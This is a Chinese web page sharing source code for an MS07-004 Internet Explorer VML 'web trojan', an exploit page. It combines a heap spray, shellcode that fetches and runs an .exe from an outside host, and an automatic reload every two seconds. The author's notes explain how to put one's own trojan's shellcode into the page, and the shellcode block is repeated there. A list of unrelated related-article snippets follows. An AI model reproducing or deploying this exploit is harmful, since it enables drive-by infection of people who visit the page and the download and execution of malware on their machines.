新编MS07004网页木马源码代码

代码如下:

<html xmlns:v="urn:schemas-microsoft-com:vml"> 
<head> 
<object id="VMLRender" 
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"> 
</object> 
<style> 
v:* { behavior: url(#VMLRender); } 
</style> 
</head> 
<body> 
<SCRIPT language="javascript"> 
setTimeout("document.location.reload(false)",2000); 
shellcode =unescape("%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u772F%u7777%u2E31%u6168%u6B63%u7265%u6F6F%u6F63%u2F6D%u2E31%u7865%u0065"); 
bigblock = unescape("%u0505%u0505"); 
headersize = 20; 
slackspace = headersize+shellcode.length; 
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) block = block+block+fillblock; 
memory = new Array(); 
for (i=0;i<450;i++) memory[i] = block + shellcode; 
</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" > 
<v:recolorinfo NumColOrS="97612895" recolorstate="t"> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285" 
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)" 
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/> 
<v/recolorinfo> 
</html>

事先说明`这个不是平衡堆栈处理过`平衡堆栈的貌似要1W大元。

我修改的这个还算可以,成功后会关掉IE,但不出现IE错误,至于卡不卡`我没感觉出来,虚拟机没办法感觉,,使用方法,用幻影的那个生成器`把自己的木马生成出来`把shellcode替换掉本代码里,就是

shellcode =unescape("%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u772F%u7777%u2E31%u6168%u6B63%u7265%u6F6F%u6F63%u2F6D%u2E31%u7865%u0065");

另外,

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<450;i++) memory[i] = block + shellcode;

这里是反着写的,带自刷新,这样效果会更好,不想自刷新`可以自己修改

(0)

相关推荐

  • 新编MS07004网页木马源码代码

    复制代码 代码如下: <html xmlns:v="urn:schemas-microsoft-com:vml">  <head>  <object id="VMLRender"  classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">  </object>  <style>  v:* { behavior: url(#VMLRende

  • JAVA Vector源码解析和示例代码

    第1部分 Vector介绍Vector 是矢量队列,它是JDK1.0版本添加的类.继承于AbstractList,实现了List, RandomAccess, Cloneable这些接口.Vector 继承了AbstractList,实现了List:所以,它是一个队列,支持相关的添加.删除.修改.遍历等功能.Vector 实现了RandmoAccess接口,即提供了随机访问功能.RandmoAccess是java中用来被List实现,为List提供快速访问功能的.在Vector中,我们即可以通过

  • 使用Idea调试RocketMQ源码教程

    目录 前言 下载源码 代码编译 运行namesrv 启动 启动broker 配置文件 启动broker 小结 前言 为了更好地了解RocketMQ,我打算看一看它的源码了.随着RocketMQ5.0版本的发布,应该有更多小伙伴在实际应用中选择RocketMQ.那么我们就从这一篇文章开始,逐步来了解RocketMQ的神秘源码吧!接下来我们先把调试环境搭建好. 下载源码 源码地址:github.com/apache/rock… 我们先把RocketMQ源码下载下来,为了方便一点,建议小伙伴先fork

  • jQuery+CSS3+Html5实现弹出层效果实例代码(附源码下载)

    弹出层用来向用户展示详细的信息,交互性非常强.弹出层有对话框.模态窗口等形式,这里我都把他们叫做弹出层,我的同事们也是这么叫的.一般我们喜欢使用比较成熟的弹出层插件如fancybox等,但在本文,我将先抛弃插件,给大家介绍如何使用jQuery+CSS3+Html5实现弹出层. 效果展示       源码下载 我们完全使用HTML5+CSS3+jQuery来实现一个基本的弹出层效果,因此我们可以在示例中任意修改弹出层外观样式.甚至js方法调用.我们最终做出来的弹出层效果应该是响应式的,也就是说可以

  • 基于Jquery实现仿百度百科右侧导航代码附源码下载

    先给大家展示下效果图,看看是不是亲想要实现的效果,如果还满意的话请查看本文详情,同时大家也可以下载源码哦. 效果图: 效果展示  源码下载 代码说明: 仿百度百科右侧导航代码jquery插件,这个仿百科右侧导航js代码,在很久以前就像搞个用了,因为这个导航特别适合长篇文档使用,花了半天时间写了这个仿百科导航插件,不过和百度百科比起来还是有点弱,没有实现右侧导航区域滚动的功能,如果您的文档不是超级变态长,应该够用. 如果你的导航超级长,可能要用到侧边导航页可以滚动,一般情况下还是用不到,等过些时候

  • IOS身份证识别(OCR源码)详解及实例代码

    IOS身份证识别(OCR源码)详解 最近项目用到身份证识别,在github上搜了一堆demo,在Google上找了一堆代码,有能识别出证件照的,但是都是打包成.a的静态库,没有源码,我努力吃了几天书,有了一点研究成果,现在贴出来与大家分享,要是有更好的方法,希望大神指正,共同探讨解决方案.(以下代码本人亲测可用,正在进一步探索智能识别,如有兴趣,请加入) 这里用到了两个开源库:OpenCV.TesseractOCRiOS,两个语言包chi_sim.eng.身份证识别的流程主要有:灰度化,阀值二值

  • php+webSoket实现聊天室示例代码(附源码)

    最近在公司利用直播间搭建一个图文直播间时正好要用到chatsever,研究了一下html5的websocket 实现了双向通信,根据前人的经验折腾了几天弄了个聊天室,实现了发送图片,发送QQ表情,群聊私聊等功能,特地分享给各位新手参考学习,大牛可以忽略. 前端:client.html <!doctype html> <html> <head> <meta charset="utf-8"> <meta name="viewp

  • 仿Aspnetpager的一个PHP分页类代码 附源码下载

    基本逻辑思路和.net的一样,就是将通过实体类来进行配置换成了通过数组进行配置,逻辑比较简单,根据条件判断拼接分页html. 有以下几个简单的功能: 1:支持相关按钮的显示与否配置 2:支持每页数目,文本名称,html标签类名称的自由配置 3:支持url重写过的页面(需自己在配置数组中添加重写规则) 简单吧,还是直接上代码: 核心代码:pager.class.php 复制代码 代码如下: <?php class pager{ //分页的参数配置 private $config=array( //

  • 基于jQuery实现交互体验社会化分享代码附源码下载

    先给大家展示下效果图,看看是不是亲想要的效果,如果满足您的要求请继续往下阅读. 效果展示       源码下载 基于jQuery交互体验社会化分享代码.这是一款鼠标点击分享按钮向右滑出腾讯微博,新浪微博,QQ空间,豆瓣,微信,二维码分享等分享平台. html代码: <div style="text-align:center;font:normal 14px/24px 'MicroSoft YaHei';clear:both;width:160px;margin:0 auto;"&

  • PHP实现长文章分页实例代码(附源码)

    当文章内容比较长,为了更好的满足用户体验度,我们将文章内容分页显示处理,而一般分页处理是在后台发布文章的时候就将提交的内容生成多个分页后的静态文件.通过本文结合实例采用php动态将长文章内容进行分页处理. 查看效果演示     源码下载 如何分页 手动分页:一般在编辑内容时加入特殊分页标记,如{pages},提交后,PHP程序会根据分页符处理分页,生成不同的静态页面.这种分页方法分页准确,但是需要人工手动添加分页符,工作量大. 自动分页:PHP程序会根据设置好的分页符将内容进行分页,然后生成不同

随机推荐